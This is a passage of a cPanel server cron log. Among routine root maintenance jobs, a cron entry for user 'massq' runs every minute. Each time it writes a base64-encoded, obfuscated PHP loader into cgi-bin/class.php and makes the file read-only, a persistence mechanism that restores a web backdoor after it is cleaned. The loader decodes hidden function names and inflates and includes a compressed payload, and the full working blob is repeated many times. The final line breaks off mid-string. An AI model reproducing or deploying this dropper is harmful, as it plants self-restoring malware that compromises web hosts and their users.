chmod 444 "$fp")
Sep  6 16:10:01 server CROND[838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:10:01 server CROND[840]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 16:10:01 server CROND[839]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 16:10:01 server CROND[842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:10:01 server CROND[834]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 16:11:01 server CROND[1776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:11:01 server CROND[1777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:11:01 server CROND[1779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:12:01 server CROND[2187]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 16:12:01 server CROND[2188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:12:01 server CROND[2189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:12:01 server CROND[2190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:13:01 server CROND[2580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:13:01 server CROND[2581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:13:01 server CROND[2582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:14:01 server CROND[3005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:14:01 server CROND[3006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:14:01 server CROND[3007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:15:01 server CROND[3507]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 16:15:01 server CROND[3508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:15:01 server CROND[3509]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:15:01 server CROND[3510]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 16:15:01 server CROND[3514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:15:01 server CROND[3520]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 16:15:01 server CROND[3515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:15:01 server CROND[3522]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 16:15:01 server CROND[3523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:16:01 server CROND[4377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:16:01 server CROND[4378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:16:01 server CROND[4379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:17:01 server CROND[4756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:17:01 server CROND[4757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:17:01 server CROND[4758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:18:01 server CROND[5212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:18:01 server CROND[5213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:18:01 server CROND[5214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:19:01 server CROND[5593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:19:01 server CROND[5594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:19:01 server CROND[5595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:20:01 server CROND[5996]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 16:20:01 server CROND[5998]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 16:20:01 server CROND[6000]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 16:20:01 server CROND[6001]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 16:20:01 server CROND[6004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:20:01 server CROND[6006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:20:01 server CROND[6008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:20:01 server CROND[6007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:20:01 server CROND[6003]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:21:01 server CROND[6951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:21:01 server CROND[6952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:21:01 server CROND[6953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:22:01 server CROND[7420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:22:01 server CROND[7421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 16:22:01 server CROND[7422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0Nl